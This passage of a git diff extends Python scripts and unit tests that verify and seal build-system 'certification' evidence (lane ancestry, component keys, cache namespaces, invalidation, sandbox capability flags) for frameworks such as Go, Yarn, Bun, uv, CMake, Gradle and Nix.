checkpoint in zip(LANES, spawns, checkpoints, strict=True) + ] + cache_namespaces = [ + {cache["name"]: cache["namespace_id"] for cache in component.get("caches", [])} + for component in components + ] + return { + "schema": "trail.ecosystem-certification/v1", + "framework": system, + "repository": repository, + "revision": revision, + "distribution": { + "kind": "built-in" if system == "node-native" else "external-adapter", + "adapter_identity": identity, + "distribution_digest": package_digest, + "package_digest": None if system == "node-native" else package_digest, + }, + "platform": { + "operating_system": platform.system().lower(), + "architecture": platform.machine().lower(), + "workspace_backend": backends[0], + }, + "backend": backends[0], + "lanes": list(LANES), + "lane_ancestry": lane_ancestry, + "validations": validations, + "workdirs": workdirs, + "component_id": component_id, + "adapter_identity": identity, + "tool_identities": tools[0], + "source_roots": [component_sync["generation"]["source_root"] for component_sync in syncs], + "component_keys": component_keys, + "layer_ids": [component.get("layer_id") for component in components], + "cache_namespaces": cache_namespaces, + "output_storage": output_storage, + "generated_dirty_paths": [ + checkpoint["generated_dirty_paths"] for checkpoint in checkpoints + ], + "invalidation": { + "source_root": invalidation_sync["generation"]["source_root"], + "source_paths": invalidation_checkpoint["source_paths"], + "before_component_key": component_keys[-1], + "after_component_key": invalidation_component["component_key"], + "cache_namespaces_preserved": True, + "semantic_check_passed": True, + }, + "conformance": assertions, + "assertions": { + "three_distinct_source_roots": True, + "each_child_spawned_from_parent_semantic_checkpoint": True, + "exact_adapter_distribution_bound_into_every_plan": True, + "deterministic_planning": True, + "exact_tool_identity_stable": True, + "outbound_network_and_secrets_denied": True, + "shell_or_approved_process_tree_policy_bounded": True, + "correctness_neutral_cache_namespace_preserved": True, + "lane_private_outputs_never_shared": True, + "identity_input_change_rejected_stale_component": True, + "all_semantic_validations_passed": True, + "common_malicious_package_conformance_passed": True, + "nix_external_immutable_identity_verified": system == "nix", + **security_assertions, + }, + "raw_sha256": raw_hashes, + } + + +def verify_sealed_evidence(evidence_dir: Path) -> dict[str, Any]: + evidence = json.loads((evidence_dir / "evidence.json").read_text(encoding="utf-8")) + if not isinstance(evidence, dict): + raise AssertionError("evidence.json is not a JSON object") + if evidence.get("schema") != "trail.ecosystem-certification/v1": + raise AssertionError(f"unsupported evidence schema: {evidence.get('schema')!r}") + expected = check_evidence( + evidence_dir, + evidence.get("framework"), + evidence.get("repository"), + evidence.get("revision"), + evidence.get("component_id"), + ) + if evidence != expected: + mismatches = sorted( + key + for key in set(evidence) | set(expected) + if evidence.get(key) != expected.get(key) + ) + raise AssertionError( + "sealed evidence does not match authoritative raw reports: " + f"fields={mismatches!r}" + ) + return evidence + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("--verify", action="store_true") + parser.add_argument("evidence_dir", type=Path) + parser.add_argument("system", nargs="?") + parser.add_argument("repository", nargs="?") + parser.add_argument("revision", nargs="?") + parser.add_argument("component_id", nargs="?") + args = parser.parse_args() + if args.verify: + evidence = verify_sealed_evidence(args.evidence_dir) + else: + missing = [ + name + for name in ("system", "repository", "revision", "component_id") + if getattr(args, name) is None + ] + if missing: + parser.error(f"sealing evidence requires: {', '.join(missing)}") + evidence = check_evidence( + args.evidence_dir, + args.system, + args.repository, + args.revision, + args.component_id, + ) + (args.evidence_dir / "evidence.json").write_text( + json.dumps(evidence, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) + verify_sealed_evidence(args.evidence_dir) + print(json.dumps(evidence, indent=2, sort_keys=True)) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/scripts/check-real-framework-handoff.py b/scripts/check-real-framework-handoff.py index e189d683..7a1e4f63 100755 --- a/scripts/check-real-framework-handoff.py +++ b/scripts/check-real-framework-handoff.py @@ -6,6 +6,7 @@ import argparse import hashlib import json +import platform from pathlib import Path from typing import Any @@ -13,6 +14,10 @@ LANES = ("agent-a", "agent-b", "agent-c") SOURCE_PATHS = { "go": ["version/version.go", "version/version_test.go"], + "go-workspace": ["common/must.go", "common/must_test.go"], + "yarn": ["index.js", "test.js"], + "bun": ["src/app.ts", "tests/app.test.ts"], + "uv": ["src/pyprojectx/__init__.py", "tests/unit/test_trail_qualification.py"], "pnpm": [ "src/constants.ts", "tests/http-helpers/index.test.ts", @@ -20,6 +25,11 @@ "npm": ["src/test/version.test.ts", "src/version.ts"], "python": ["src/tap/line.py", "tests/test_line.py"], "cmake": ["util/hash.cc", "util/hash.h"], + "cmake-modern": ["examples/minimal.cpp"], +} +INVALIDATION_PATHS = { + "yarn": [".yarnrc"], + "bun": ["bunfig.toml"], } @@ -44,6 +54,34 @@ def select_component(generation: dict[str, Any], component_id: str) -> dict[str, return matches[0] +def verify_sealed_evidence(evidence_dir: Path) -> dict[str, Any]: + """Recompute canonical evidence from raw reports and reject any drift.""" + evidence_path = evidence_dir / "evidence.json" + evidence = json.loads(evidence_path.read_text(encoding="utf-8")) + if not isinstance(evidence, dict): + raise AssertionError("evidence.json is not a JSON object") + if evidence.get("schema") != "trail.ecosystem-certification/v1": + raise AssertionError(f"unsupported evidence schema: {evidence.get('schema')!r}") + expected = check_evidence( + evidence_dir, + evidence.get("framework"), + evidence.get("repository"), + evidence.get("revision"), + evidence.get("component_id"), + ) + if evidence != expected: + mismatches = sorted( + key + for key in set(evidence) | set(expected) + if evidence.get(key) != expected.get(key) + ) + raise AssertionError( + "sealed evidence does not match authoritative raw reports: " + f"fields={mismatches!r}" + ) + return evidence + + def check_evidence( evidence_dir: Path, framework: str, @@ -51,7 +89,18 @@ def check_evidence( revision: str, component_id: str, ) -> dict[str, Any]: - if framework not in {"go", "pnpm", "npm", "python", "cmake"}: + if framework not in { + "go", + "go-workspace", + "yarn", + "bun", + "uv", + "pnpm", + "npm", + "python", + "cmake", + "cmake-modern", + }: raise AssertionError(f"unsupported framework {framework!r}") raw = evidence_dir / "raw" generations = [load_report(raw, f"generation-{lane}") for lane in LANES] @@ -59,6 +108,7 @@ def check_evidence( load_report(raw, f"generation-before-edit-{lane}") for lane in LANES ] syncs = [load_report(raw, f"sync-{lane}") for lane in LANES] + plans = [load_report(raw, f"plan-{lane}") for lane in LANES] spawns = [load_report(raw, f"spawn-{lane}") for lane in LANES] prechecks = [load_report(raw, f"precheck-{lane}") for lane in LANES] edits = [load_report(raw, f"edit-{lane}") for lane in LANES] @@ -69,6 +119,21 @@ def check_evidence( if not all(generation["state"] == "active" for generation in generations): raise AssertionError("all final generations must be active") + adapter_identities = [plan.get("adapter_identity") for plan in plans] + if len(set(adapter_identities)) != 1 or not adapter_identities[0]: + raise AssertionError(f"adapter identity changed or is missing: {adapter_identities!r}") + tool_identities = [plan.get("tools") for plan in plans] + if any(not isinstance(tools, dict) or not tools for tools in tool_identities): + raise AssertionError("each plan must record at least one executable identity") + if any(tools != tool_identities[0] for tools in tool_identities[1:]): + raise AssertionError("tool executable identities changed across source-only lanes") + for lane, plan, before in zip(LANES, plans, before_generations, strict=True): + if plan.get("component_id") != component_id: + raise AssertionError(f"{lane} plan selected the wrong component") + if plan.get("source_root") != before.get("source_root"): + raise AssertionError(f"{lane} plan is not pinned to its pre-edit source root") + if not isinstance(plan.get("component_key"), str) or not plan["component_key"]: + raise AssertionError(f"{lane} plan omitted its canonical component key") if len({generation["source_root"] for generation in generations}) != 3: raise AssertionError("A, B, and C must have distinct source roots") if len(set(workdirs)) != 3 or any(not Path(workdir).is_absolute() for workdir in workdirs): @@ -137,7 +202,7 @@ def check_evidence( if any(not storage for storage in output_storage): raise AssertionError("each lane must report at least one output") - if framework == "go": + if framework in {"go", "go-workspace"}: if len(set(component_keys)) != 3: raise AssertionError("Go source edits must produce exact distinct component keys") if not all(layer_ids) or len(set(layer_ids)) != 3: @@ -155,13 +220,16 @@ def check_evidence( raise AssertionError(f"{lane} did not seed from its predecessor: {decision!r}") if not isinstance(decision["bytes_avoided"], int) or decision["bytes_avoided"] <= 0: raise AssertionError(f"{lane} avoided no predecessor bytes: {decision!r}") - elif framework in {"pnpm", "npm"}: + elif framework in {"yarn", "bun", "pnpm", "npm"}: if len(set(component_keys)) != 1: raise AssertionError("Node dependency identity changed after source-only edits") if not layer_ids[0] or len(set(layer_ids)) != 1: raise AssertionError("Node lanes did not reuse one exact dependency layer") else: - if len(set(component_keys)) != 1: + if framework == "uv": + if len(set(component_keys)) != 3: + raise AssertionError("uv project source edits must change private environment identity") + elif len(set(component_keys)) != 1: raise AssertionError("private environment identity changed after source-only edits") if layer_ids != [None, None, None]: raise AssertionError("Python/CMake private outputs must not publish shared layers") @@ -172,7 +240,14 @@ def check_evidence( ): raise AssertionError("Python/CMake outputs must use private storage contracts") - shared_outputs = framework in {"go", "pnpm", "npm"} + shared_outputs = framework in { + "go", + "go-workspace", + "yarn", + "bun", + "pnpm", + "npm", + } for child_index, (child, parent_generation) in enumerate( zip(LANES[1:], generations[:-1], strict=True), start=1 ): @@ -221,12 +296,60 @@ def check_evidence( raise AssertionError(f"{child} private environment lost parent caches") first_before = select_component(before_generations[0], component_id) - if framework == "go": + if framework in {"go", "go-workspace", "uv"}: if first_before["component_key"] == components[0]["component_key"]: - raise AssertionError("Go source-sensitive vendor identity did not change after edit") + raise AssertionError("source-sensitive environment identity did not change after edit") elif first_before["component_key"] != components[0]["component_key"]: raise AssertionError("source-only edit changed dependency/build environment identity") + invalidation = None + if framework in INVALIDATION_PATHS: + invalidation_spawn = load_report(raw, "spawn-invalidation") + invalidation_before_report = load_report(raw, "generation-before-invalidation") + invalidation_edit = load_report(raw, "invalidation-edit") + invalidation_sync = load_report(raw, "sync-invalidation") + invalidation_check = load_report(raw, "check-invalidation") + invalidation_generation = load_report(raw, "generation-invalidation") + invalidation_before = select_component(invalidation_before_report, component_id) + invalidation_after = select_component(invalidation_generation, component_id) + if invalidation_spawn["base_change"] != edits[-1]["lifecycle"]["checkpoint"]["operation"]: + raise AssertionError("invalidation lane did not start from Agent C") + checkpoint = invalidation_edit["lifecycle"]["checkpoint"] + if checkpoint["source_paths"] != INVALIDATION_PATHS[framework]: + raise AssertionError(f"invalidation changed unexpected source paths: {checkpoint!r}") + if invalidation_generation["source_root"] != checkpoint["root_id"]: + raise AssertionError("invalidation generation is not pinned to its policy edit") + if invalidation_before["component_key"] != components[-1]["component_key"]: + raise AssertionError("invalidation lane did not inherit Agent C's component") + if invalidation_after["component_key"] == invalidation_before["component_key"]: + raise AssertionError("manager policy invalidation reused a stale component key") + if not invalidation_after["layer_id"] or invalidation_after["layer_id"] == invalidation_before["layer_id"]: + raise AssertionError("manager policy invalidation reused a stale dependency layer") + if invalidation_after["caches"] != invalidation_before["caches"]: + raise AssertionError("manager policy invalidation lost correctness-neutral caches") + if invalidation_check["exit_code"] != 0: + raise AssertionError("invalidated dependency layer failed semantic validation") + if invalidation_check["lifecycle"]["checkpoint"]["source_paths"]: + raise AssertionError("invalidation validation checkpointed unexpected source") + decisions = [ + item + for item in invalidation_sync["decisions"] + if item["component_id"] == component_id + ] + if len(decisions) != 1: + raise AssertionError(f"invalidation has unexpected decisions: {decisions!r}") + invalidation = { + "lane": "invalidation", + "source_root": invalidation_generation["source_root"], + "policy_paths": INVALIDATION_PATHS[framework], + "before_component_key": invalidation_before["component_key"], + "after_component_key": invalidation_after["component_key"], + "before_layer_id": invalidation_before["layer_id"], + "after_layer_id": invalidation_after["layer_id"], + "cache_namespaces_preserved": True, + "semantic_check_passed": True, + } + raw_hashes = { path.name: hashlib.sha256(path.read_bytes()).hexdigest() for path in sorted(raw.glob("*.json")) @@ -238,30 +361,79 @@ def check_evidence( *(f"generation-before-edit-{lane}.json" for lane in LANES), *(f"edit-{lane}.json" for lane in LANES), *(f"sync-{lane}.json" for lane in LANES), + *(f"plan-{lane}.json" for lane in LANES), *(f"check-{lane}.json" for lane in LANES), *(f"generation-{lane}.json" for lane in LANES), } + if framework in INVALIDATION_PATHS: + expected_names.update( + { + "spawn-invalidation.json", + "generation-before-invalidation.json", + "invalidation-edit.json", + "sync-invalidation.json", + "check-invalidation.json", + "generation-invalidation.json", + } + ) if set(raw_hashes) != expected_names: raise AssertionError( f"raw evidence set mismatch: missing={sorted(expected_names - set(raw_hashes))!r} " f"extra={sorted(set(raw_hashes) - expected_names)!r}" ) + lane_ancestry = [] + validations = [] + for lane, spawn, edit, precheck, check in zip( + LANES, spawns, edits, prechecks, checks, strict=True + ): + checkpoint = edit["lifecycle"]["checkpoint"] + lane_ancestry.append( + { + "lane": lane, + "base_change": spawn["base_change"], + "checkpoint_operation": checkpoint["operation"], + "checkpoint_root": checkpoint["root_id"], + } + ) + validations.append( + { + "lane": lane, + "parent_exit_code": precheck["exit_code"], + "edited_exit_code": check["exit_code"], + } + ) + return { - "schema": "trail.real-framework-handoff/v2", + "schema": "trail.ecosystem-certification/v1", "framework": framework, "repository": repository, "revision": revision, + "distribution": { + "kind": "built-in", + "adapter_identity": adapter_identities[0], + "package_digest": None, + }, + "platform": { + "operating_system": platform.system().lower(), + "architecture": platform.machine().lower(), + "workspace_backend": workdir_modes[0], + }, "backend": workdir_modes[0], "lanes": list(LANES), + "lane_ancestry": lane_ancestry, + "validations": validations, "workdirs": workdirs, "component_id": component_id, + "adapter_identity": adapter_identities[0], + "tool_identities": tool_identities[0], "source_roots": [generation["source_root"] for generation in generations], "component_keys": component_keys, "layer_ids": layer_ids, "cache_namespaces": cache_namespaces, "output_storage": output_storage, "generated_dirty_paths": generated_dirty_paths, + "invalidation": invalidation, "assertions": { "three_distinct_source_roots": True, "each_child_spawned_from_parent_semantic_checkpoint": True, @@ -270,13 +442,22 @@ def check_evidence( "exact_framework_source_and_test_paths_per_edit": True, "parent_semantics_valid_before_each_edit": True, "edited_semantics_valid_after_each_edit": True, - "dependency_identity_stable_for_source_independent_adapters": framework != "go", - "go_vendor_identity_tracks_source_sensitive_vendor_inputs": framework == "go", - "cmake_incremental_recompile_and_link_behavior_verified": framework == "cmake", + "dependency_identity_stable_for_source_independent_adapters": framework + not in {"go", "go-workspace", "uv"}, + "go_vendor_identity_tracks_source_sensitive_vendor_inputs": framework + in {"go", "go-workspace"}, + "go_multi_module_workspace_graph_verified": framework == "go-workspace", + "uv_project_identity_tracks_source_authority": framework == "uv", + "cmake_incremental_recompile_and_link_behavior_verified": framework + in {"cmake", "cmake-modern"}, + "cmake_preset_ninja_ccache_private_output_verified": framework + == "cmake-modern", "stale_framework_output_rejected_by_lane_marker": True, "generated_paths_excluded_from_source_checkpoint": True, "all_framework_checks_passed": True, "framework_reuse_contract_passed": True, + "manager_policy_invalidation_published_new_exact_layer": framework + in INVALIDATION_PATHS, }, "raw_sha256": raw_hashes, } @@ -284,12 +465,28 @@ def check_evidence( def main() -> int: parser = argparse.ArgumentParser() + parser.add_argument( + "--verify", + action="store_true", + help="verify an existing evidence.json against its authoritative raw reports", + ) parser.add_argument("evidence_dir", type=Path) - parser.add_argument("framework") - parser.add_argument("repository") - parser.add_argument("revision") - parser.add_argument("component_id") + parser.add_argument("framework", nargs="?") + parser.add_argument("repository", nargs="?") + parser.add_argument("revision", nargs="?") + parser.add_argument("component_id", nargs="?") args = parser.parse_args() + if args.verify: + evidence = verify_sealed_evidence(args.evidence_dir) + print(json.dumps(evidence, indent=2, sort_keys=True)) + return 0 + missing = [ + name + for name in ("framework", "repository", "revision", "component_id") + if getattr(args, name) is None + ] + if missing: + parser.error(f"sealing evidence requires: {', '.join(missing)}") evidence = check_evidence( args.evidence_dir, args.framework, @@ -299,6 +496,7 @@ def main() -> int: ) encoded = json.dumps(evidence, indent=2, sort_keys=True) + "\n" (args.evidence_dir / "evidence.json").write_text(encoded, encoding="utf-8") + verify_sealed_evidence(args.evidence_dir) print(encoded, end="") return 0 diff --git a/scripts/edit-real-framework-semantic.py b/scripts/edit-real-framework-semantic.py index dcb09860..ffa8c236 100644 --- a/scripts/edit-real-framework-semantic.py +++ b/scripts/edit-real-framework-semantic.py @@ -84,6 +84,73 @@ def contract(framework: str, marker: str) -> list[tuple[Path, str]]: ), ), ] + if framework == "go-workspace": + return [ + ( + Path("common/must.go"), + block("//", f'const TrailQualificationMarker = "{marker}"'), + ), + ( + Path("common/must_test.go"), + block( + "//", + "func TestTrailQualificationMarker(t *testing.T) {\n" + f'\tassert.Equal(t, "{marker}", common.TrailQualificationMarker)\n' + "}", + ), + ), + ] + if framework == "yarn": + return [ + ( + Path("index.js"), + block("//", f'module.exports.trailQualificationMarker = "{marker}";'), + ), + ( + Path("test.js"), + block( + "//", + 'describe("Trail qualification marker", function() {\n' + '\tit("executes the current lane source", function() {\n' + f'\t\tassert.strictEqual(require("./").trailQualificationMarker, "{marker}");\n' + "\t});\n" + "});", + ), + ), + ] + if framework == "bun": + return [ + ( + Path("src/app.ts"), + block("//", f'export const trailQualificationMarker = "{marker}";'), + ), + ( + Path("tests/app.test.ts"), + block( + "//", + 'test("Trail qualification marker", async () => {\n' + '\tconst { trailQualificationMarker } = await import("../src/app.ts");\n' + f'\texpect(trailQualificationMarker).toBe("{marker}");\n' + "});", + ), + ), + ] + if framework == "uv": + return [ + ( + Path("src/pyprojectx/__init__.py"), + block("#", f'TRAIL_QUALIFICATION_MARKER = "{marker}"'), + ), + ( + Path("tests/unit/test_trail_qualification.py"), + block( + "#", + "def test_trail_qualification_marker():\n" + " from pyprojectx import TRAIL_QUALIFICATION_MARKER\n\n" + f' assert TRAIL_QUALIFICATION_MARKER == "{marker}"', + ), + ), + ] if framework == "pnpm": return [ ( @@ -163,6 +230,20 @@ def contract(framework: str, marker: str) -> list[tuple[Path, str]]: ), ), ] + if framework == "cmake-modern": + return [ + ( + Path("examples/minimal.cpp"), + block( + "//", + "namespace trail_qualification {\n" + "const char* TrailQualificationMarker() {\n" + f' return "{marker}";\n' + "}\n" + "} // namespace trail_qualification", + ), + ) + ] raise AssertionError(f"unsupported framework {framework!r}") @@ -175,14 +256,39 @@ def expected_previous(marker: str) -> str | None: }[marker] +def invalidation_contract(framework: str) -> tuple[Path, str]: + if framework == "yarn": + return Path(".yarnrc"), block("#", "--network-timeout 300000") + if framework == "bun": + return Path("bunfig.toml"), block("#", '[install]\nlinker = "hoisted"') + raise AssertionError(f"{framework} has no qualification invalidation contract") + + def main() -> int: parser = argparse.ArgumentParser() - parser.add_argument("action", choices=("edit", "verify")) - parser.add_argument("framework", choices=("go", "pnpm", "npm", "python", "cmake")) + parser.add_argument("action", choices=("edit", "verify", "invalidate")) + parser.add_argument( + "framework", + choices=( + "go", + "go-workspace", + "yarn", + "bun", + "uv", + "pnpm", + "npm", + "python", + "cmake", + "cmake-modern", + ), + ) parser.add_argument("marker", choices=("baseline", *sorted(LANES))) args = parser.parse_args() - if args.action == "edit": + if args.action == "invalidate": + path, replacement = invalidation_contract(args.framework) + replace_block(path, None, replacement) + elif args.action == "edit": if args.marker not in LANES: raise AssertionError("baseline cannot be applied as an edit") previous = {"agent-a": None, "agent-b": "agent-a", "agent-c": "agent-b"}[ diff --git a/scripts/test_check_external_build_system_handoff.py b/scripts/test_check_external_build_system_handoff.py new file mode 100644 index 00000000..cb9702fe --- /dev/null +++ b/scripts/test_check_external_build_system_handoff.py @@ -0,0 +1,371 @@ +import importlib.util +import json +import pathlib +import tempfile +import unittest + + +SCRIPT = pathlib.Path(__file__).with_name("check-external-build-system-handoff.py") +SPEC = importlib.util.spec_from_file_location("external_handoff_checker", SCRIPT) +assert SPEC and SPEC.loader +CHECKER = importlib.util.module_from_spec(SPEC) +SPEC.loader.exec_module(CHECKER) + + +class ExternalBuildSystemHandoffCheckerTests(unittest.TestCase): + def write(self, raw, name, value): + (raw / f"{name}.json").write_text(json.dumps(value), encoding="utf-8") + + def fixture(self, root, system="gradle"): + raw = root / "raw" + raw.mkdir() + identity = f"trail-examples/{system}@1" + if system == "node-native": + identity = "trail/node@1" + digest = "builtin:node-plan-v3" + else: + digest = "sha256:" + "d" * 64 + component_id = f"external-build.{system}" + + def nix_artifacts(index): + suffix = str(index + 1) + return [ + { + "name": "nix-builder", + "artifact_type": "oci_image", + "provider": "oci", + "reference": CHECKER.NIX_BUILDER_IMAGE, + "digest": CHECKER.NIX_BUILDER_DIGEST, + "platform": CHECKER.NIX_PLATFORM, + "cleanup_owner": "external", + }, + { + "name": "package", + "artifact_type": "verified_external", + "provider": "nix", + "reference": f"/nix/store/{suffix * 32}-package", + "digest": "sha256:" + suffix * 64, + "platform": CHECKER.NIX_PLATFORM, + "cleanup_owner": "external", + }, + { + "name": "check", + "artifact_type": "verified_external", + "provider": "nix", + "reference": f"/nix/store/{suffix * 32}-check", + "digest": "sha256:" + suffix * 64, + "platform": CHECKER.NIX_PLATFORM, + "cleanup_owner": "external", + }, + ] + + def outputs(index): + names = ("profile", "state") if system == "nix" else ("build",) + return [ + { + "name": name, + "policy": "writable_private", + "publish": "never", + "layer_id": None, + "storage_identity": f"private_{index}_{name}", + } + for name in names + ] + self.write( + raw, + "distribution" if system == "node-native" else "plugin-install", + {"canonical_identity": identity, "distribution_digest": digest}, + ) + self.write( + raw, + "conformance", + { + "exit_code": 0, + "assertions": { + "hostile_plan_rejected": True, + "recovery_preserved_prior_generation": True, + "redaction_passed": True, + }, + }, + ) + checkpoints = [] + for index, lane in enumerate(CHECKER.LANES): + checkpoint = { + "operation": f"change-{index}", + "root_id": f"root-{index}", + "source_paths": [f"src/change-{index}.txt"], + "generated_dirty_paths": 0, + } + checkpoints.append(checkpoint) + self.write(raw, f"checkpoint-{lane}", checkpoint) + self.write( + raw, + f"spawn-{lane}", + { + "base_change": "main" if not index else f"change-{index - 1}", + "workdir": f"/workspace/{lane}", + "workdir_mode": "nfs-cow", + }, + ) + plan = { + "adapter_identity": identity, + "component_id": component_id, + "component_key": f"key-{index}", + "source_root": f"root-{index}", + "tools": {} if system == "nix" else {"tool": "sha256:tool"}, + "external_artifacts": nix_artifacts(index) if system == "nix" else [], + "capabilities": { + "network": "none" if system == "nix" else "outbound-deny", + "shell": ( + "approved-process-tree" + if system == "node-native" + else "none" if system == "nix" else "deny" + ), + "scripts": ( + "exact-committed-approval" if system == "node-native" else "deny" + ), + "secrets": "none" if system == "nix" else "deny", + }, + "adapter_distribution_digest": digest, + } + self.write(raw, f"plan-{lane}", plan) + self.write(raw, f"plan-{lane}-repeat", plan) + component = { + "component_id": component_id, + "component_key": f"key-{index}", + "layer_id": None, + "outputs": outputs(index), + "caches": ( + [] + if system == "nix" + else [{"name": "downloads", "namespace_id": "cache-shared"}] + ), + "external_artifacts": nix_artifacts(index) if system == "nix" else [], + } + self.write( + raw, + f"sync-{lane}", + { + "generation": { + "state": "active", + "source_root": f"root-{index}", + "components": [component], + }, + "decisions": [ + {"component_id": component_id, "desired_key": f"key-{index}"} + ], + }, + ) + self.write(raw, f"validation-{lane}", {"exit_code": 0}) + + self.write( + raw, + "spawn-invalidation", + { + "base_change": checkpoints[-1]["operation"], + "workdir": "/workspace/invalidation", + "workdir_mode": "nfs-cow", + }, + ) + invalidation_checkpoint = { + "operation": "change-invalidation", + "root_id": "root-invalidation", + "source_paths": ["settings.gradle"], + "generated_dirty_paths": 0, + } + self.write(raw, "checkpoint-invalidation", invalidation_checkpoint) + invalidation_plan = { + "adapter_identity": identity, + "component_id": component_id, + "component_key": "key-invalidation", + "source_root": "root-invalidation", + "tools": {} if system == "nix" else {"tool": "sha256:tool"}, + "external_artifacts": nix_artifacts(2) if system == "nix" else [], + "capabilities": { + "network": "none" if system == "nix" else "outbound-deny", + "shell": ( + "approved-process-tree" + if system == "node-native" + else "none" if system == "nix" else "deny" + ), + "scripts": ( + "exact-committed-approval" if system == "node-native" else "deny" + ), + "secrets": "none" if system == "nix" else "deny", + }, + "adapter_distribution_digest": digest, + } + self.write(raw, "plan-invalidation", invalidation_plan) + self.write(raw, "plan-invalidation-repeat", invalidation_plan) + invalidation_component = { + "component_id": component_id, + "component_key": "key-invalidation", + "layer_id": None, + "outputs": outputs("invalidation"), + "caches": ( + [] + if system == "nix" + else [{"name": "downloads", "namespace_id": "cache-shared"}] + ), + "external_artifacts": nix_artifacts(2) if system == "nix" else [], + } + self.write( + raw, + "sync-invalidation", + { + "generation": { + "state": "active", + "source_root": "root-invalidation", + "components": [invalidation_component], + }, + "decisions": [ + {"component_id": component_id, "desired_key": "key-invalidation"} + ], + }, + ) + self.write(raw, "validation-invalidation", {"exit_code": 0}) + if system == "node-native": + self.write( + raw, + "security-network-denial", + { + "exit_code": 0, + "network_error": "EPERM", + "outbound_connect_denied": True, + }, + ) + self.write( + raw, + "security-write-denial", + { + "exit_code": 2, + "canary_created": False, + "active_generation": None, + "undeclared_write_denied": True, + }, + ) + return component_id + + def check(self, root, system="gradle"): + component_id = self.fixture(root, system) + return CHECKER.check_evidence(root, system, "repo", "revision", component_id) + + def test_accepts_all_external_system_contracts(self): + for system in CHECKER.SYSTEMS: + with self.subTest(system=system), tempfile.TemporaryDirectory() as temp: + evidence = self.check(pathlib.Path(temp), system) + self.assertEqual(evidence["schema"], "trail.ecosystem-certification/v1") + self.assertEqual( + evidence["distribution"]["kind"], + "built-in" if system == "node-native" else "external-adapter", + ) + self.assertEqual(len(evidence["lane_ancestry"]), 3) + + def mutate_and_reject(self, name, mutate, message): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root) + path = root / "raw" / f"{name}.json" + report = json.loads(path.read_text(encoding="utf-8")) + mutate(report) + self.write(root / "raw", name, report) + with self.assertRaisesRegex(AssertionError, message): + CHECKER.check_evidence(root, "gradle", "repo", "revision", component_id) + + def test_rejects_package_substitution(self): + self.mutate_and_reject( + "plan-agent-b", + lambda report: report.update(adapter_distribution_digest="sha256:" + "e" * 64), + "nondeterministic|distribution digest", + ) + + def test_rejects_nondeterministic_plan(self): + self.mutate_and_reject( + "plan-agent-b-repeat", + lambda report: report.update(component_key="key-other"), + "nondeterministic", + ) + + def test_rejects_wrong_ancestry(self): + self.mutate_and_reject( + "spawn-agent-c", + lambda report: report.update(base_change="change-unrelated"), + "did not start from its parent", + ) + + def test_rejects_cache_drift(self): + self.mutate_and_reject( + "sync-agent-b", + lambda report: report["generation"]["components"][0]["caches"][0].update( + namespace_id="cache-other" + ), + "cache declarations changed", + ) + + def test_rejects_private_output_reuse(self): + self.mutate_and_reject( + "sync-agent-c", + lambda report: report["generation"]["components"][0]["outputs"][0].update( + storage_identity="private_1_build" + ), + "storage was reused", + ) + + def mutate_nix_and_reject(self, name, mutate, message): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root, "nix") + path = root / "raw" / f"{name}.json" + report = json.loads(path.read_text(encoding="utf-8")) + mutate(report) + self.write(root / "raw", name, report) + with self.assertRaisesRegex(AssertionError, message): + CHECKER.check_evidence(root, "nix", "repo", "revision", component_id) + + def test_nix_rejects_builder_substitution(self): + self.mutate_nix_and_reject( + "plan-agent-a-repeat", + lambda report: report["external_artifacts"][0].update( + reference="nixos/nix@sha256:" + "e" * 64, + digest="sha256:" + "e" * 64, + ), + "nondeterministic|pinned Nix builder", + ) + + def test_nix_rejects_writable_or_malformed_store_identity(self): + self.mutate_nix_and_reject( + "sync-agent-b", + lambda report: report["generation"]["components"][0][ + "external_artifacts" + ][1].update(cleanup_owner="trail", reference="/tmp/package"), + "verified immutable Nix store identity", + ) + + def test_rejects_failed_validation(self): + self.mutate_and_reject( + "validation-agent-c", + lambda report: report.update(exit_code=1), + "validations failed", + ) + + def test_rejects_raw_tampering_after_seal(self): + with tempfile.TemporaryDirectory() as temp: + root = pathlib.Path(temp) + component_id = self.fixture(root) + evidence = CHECKER.check_evidence( + root, "gradle", "repo", "revision", component_id + ) + (root / "evidence.json").write_text( + json.dumps(evidence, indent=2, sort_keys=True) + "\n", encoding="utf-8" + ) + validation = json.loads( + (root / "raw/validation-agent-c.json").read_text(encoding="utf-8") + ) + validation["detail"] = "tampered" + self.write(root / "raw", "validation-agent-c", validation) + with self.assertRaisesRegex(AssertionError, "authoritative raw reports"): + CHECKER.verify_sealed_evidence(root) + + +if __name__ == "__main__": + unittest.main() diff --git a/scripts/test_check_real_framework_handoff.py b/scripts/test_check_real_framework_handoff.py index 4fa8506d..5e381cb6 100644 --- a/scripts/test_check_real_framework_handoff.py +++ b/scripts/test_check_real_framework_handoff.py @@ -21,6 +21,10 @@ def fixture(self, root, framework): raw.mkdir() component_id = { "go": "go-vendor", + "go-workspace": "go-vendor", + "yarn": "node", + "bun": "node", + "uv": "python-venv", "pnpm": "node", "npm": "node", "python": "python-venv", @@ -29,12 +33,16 @@ def fixture(self, root, framework): shared_key = "key-shared" shared_layer = "layer-shared" for index, lane in enumerate(CHECKER.LANES): - key = f"key-{index}" if framework == "go" else shared_key - if framework == "go": + key = ( + f"key-{index}" + if framework in {"go", "go-workspace", "uv"} + else shared_key + ) + if framework in {"go", "go-workspace"}: layer = f"layer-{index}" storage = layer output_name = "vendor" - elif framework in {"pnpm", "npm"}: + elif framework in {"yarn", "bun", "pnpm", "npm"}: layer = shared_layer storage = layer output_name = "node_modules" @@ -81,16 +89,31 @@ def fixture(self, root, framework): else: before = json.loads(json.dumps(generation)) before["source_root"] = "root-baseline" - if framework == "go": + if framework in {"go", "go-workspace", "uv"}: before["components"][0]["component_key"] = "key-baseline" - before["components"][0]["layer_id"] = "layer-baseline" + if framework != "uv": + before["components"][0]["layer_id"] = "layer-baseline" self.write_report(raw, f"generation-before-edit-{lane}", before) + self.write_report( + raw, + f"plan-{lane}", + { + "adapter_identity": f"trail/{framework}@1", + "component_id": component_id, + "component_key": before["components"][0]["component_key"], + "source_root": before["source_root"], + "tools": {"tool-executable": "sha256:tool"}, + "outputs": before["components"][0]["outputs"], + }, + ) decision = { "component_id": component_id, "decision_source": ( - "compatible_predecessor_seed" if framework == "go" else "active_binding" + "compatible_predecessor_seed" + if framework in {"go", "go-workspace"} + else "active_binding" ), - "bytes_avoided": 100 if framework == 